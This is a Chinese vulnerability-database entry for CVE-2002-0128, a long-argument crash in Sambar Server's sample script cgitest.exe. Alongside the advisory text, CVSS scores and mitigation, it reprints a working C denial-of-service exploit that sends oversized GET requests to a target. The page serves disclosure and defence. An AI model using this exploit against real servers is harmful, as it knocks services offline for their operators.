CVE-2002-0128
CVSS7.5
发布时间 :2002-03-25 00:00:00
修订时间 :2008-09-05 16:27:14
NMCOE    

[原文]cgitest.exe in Sambar Server 5.1 before Beta 4 allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via a long argument.


[CNNVD]Sambar Web服务器例子程序拒绝服务攻击漏洞(CNNVD-200203-086)

        
        Sambar Server是一个多线程的Web服务器,运行于Windows 9x/ME/NT/2000平台下。
        与Sambar Server捆绑在一起的范例程序存在问题,远程攻击者可以利用这个漏洞对服务器程序进行拒绝服务攻击。
        Sambar Server下有一个范例程序"/cgi-win/cgitest.exe",通过向此程序连续多次发送带超长参数的请求会导致服务器程序崩溃。利用这个漏洞也有可能在主机上执行任意指令。虽然漏洞是在5.1版的程序中发现的,其他版本也有可能受此影响。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0128
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0128
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200203-086
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3885
(VENDOR_ADVISORY)  BID  3885
http://www.securityfocus.com/archive/1/250545
(VENDOR_ADVISORY)  BUGTRAQ  20020116 Sambar Webserver v5.1 DoS Vulnerability
http://www.sambar.com/security.htm
(UNKNOWN)  CONFIRM  http://www.sambar.com/security.htm
http://www.iss.net/security_center/static/7894.php
(VENDOR_ADVISORY)  XF  sambar-cgitest-dos(7894)
http://www.der-keiler.de/Mailing-Lists/securityfocus/bugtraq/2002-02/0083.html
(UNKNOWN)  BUGTRAQ  20020206 Sambar Webserver Sample Script v5.1 DoS Vulnerability Exploit

- 漏洞信息

Sambar Web服务器例子程序拒绝服务攻击漏洞
高危 未知
2002-03-25 00:00:00 2005-05-02 00:00:00
远程  
        
        Sambar Server是一个多线程的Web服务器,运行于Windows 9x/ME/NT/2000平台下。
        与Sambar Server捆绑在一起的范例程序存在问题,远程攻击者可以利用这个漏洞对服务器程序进行拒绝服务攻击。
        Sambar Server下有一个范例程序"/cgi-win/cgitest.exe",通过向此程序连续多次发送带超长参数的请求会导致服务器程序崩溃。利用这个漏洞也有可能在主机上执行任意指令。虽然漏洞是在5.1版的程序中发现的,其他版本也有可能受此影响。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 删除此有问题的范例程序。
        厂商补丁:
        Sambar
        ------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.sambar.com

- 漏洞信息 (21228)

Sambar Server 5.1 Sample Script Denial Of Service Vulnerability (EDBID:21228)
windows remote
2002-02-06 Verified
0 Tamer Sahin
N/A [点击下载]
source: http://www.securityfocus.com/bid/3885/info

Sambar Server is a multi-threaded web server which will run on Microsoft Windows 9x/ME/NT/2000 operating systems.

It is possible to cause a denial of service to Sambar Server by sending consecutive excessively long requests to the 'cgitest.exe' sample script.

The possibility exists that this issue may be the result of improper bounds checking. As a result, this vulnerability may potentially be used to execute arbitrary code on the host running the vulnerable software. Though this has not been confirmed.

While this issue was reported for Sambar Server 5.1, other versions may also be affected.

/*********************************************************************
**********
**
**               06.02.2002 - GREETZ TO WbC-BoArD & YAST CREW

**
**               Compiled with gcc under linux with kernel 2.4.17

**
**               Programname: Sambar Server 5.0  Manufacturer:Jalyn

**
**********************************************************************
*********/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

#define SERVER_PORT 80
#define MAX_MSG 100

  int sd, rc, i,j;
  char buf[5000];
  char msgtosnd[5024];
  char msgtoget[102400];
  char source[200000];
  struct sockaddr_in localAddr, servAddr;
  struct hostent *h;
  FILE *f1;

int main (int argc, char *argv[]) {
printf("Sleepy of Yast presents \"Sambar Server Production 5.0
Crasher\"\n");
if(argc != 2)
{
printf(">>> usage: %s <ip>",argv[0]);exit(0);
};
h = gethostbyname(argv[1]);
if(h==NULL)
{
printf("%s: unknown host '%s'\n",argv[0],argv[1]);
exit(1);
}
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0)
{
perror("cannot open socket ");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);
rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0)
{
printf("%s: cannot bind port TCP %u\n",argv[0],SERVER_PORT);
perror("error ");
exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0)
{
perror("cannot connect ");
exit(1);
};
strcpy(buf,"A");
fprintf(stderr,"Entering Loop\n");
for(i=1;i<4000;i++)
{
strcat(buf,"A");
}
sprintf(msgtosnd,"GET /cgi-win/cgitest.exe?%s HTTP/1.1\nhost:
localhost\n\n\n",buf);
for(j=0;j<5;j++)
{
send(sd,msgtosnd,5024,0);
}
printf("\n\n BOOOOM");
}
		

- 漏洞信息

34
Sambar Server cgitest.exe Crafted GET Request Parsing Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2002-01-16 Unknow
2002-01-16 Unknow

- 解决方案

Upgrade to version 5.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站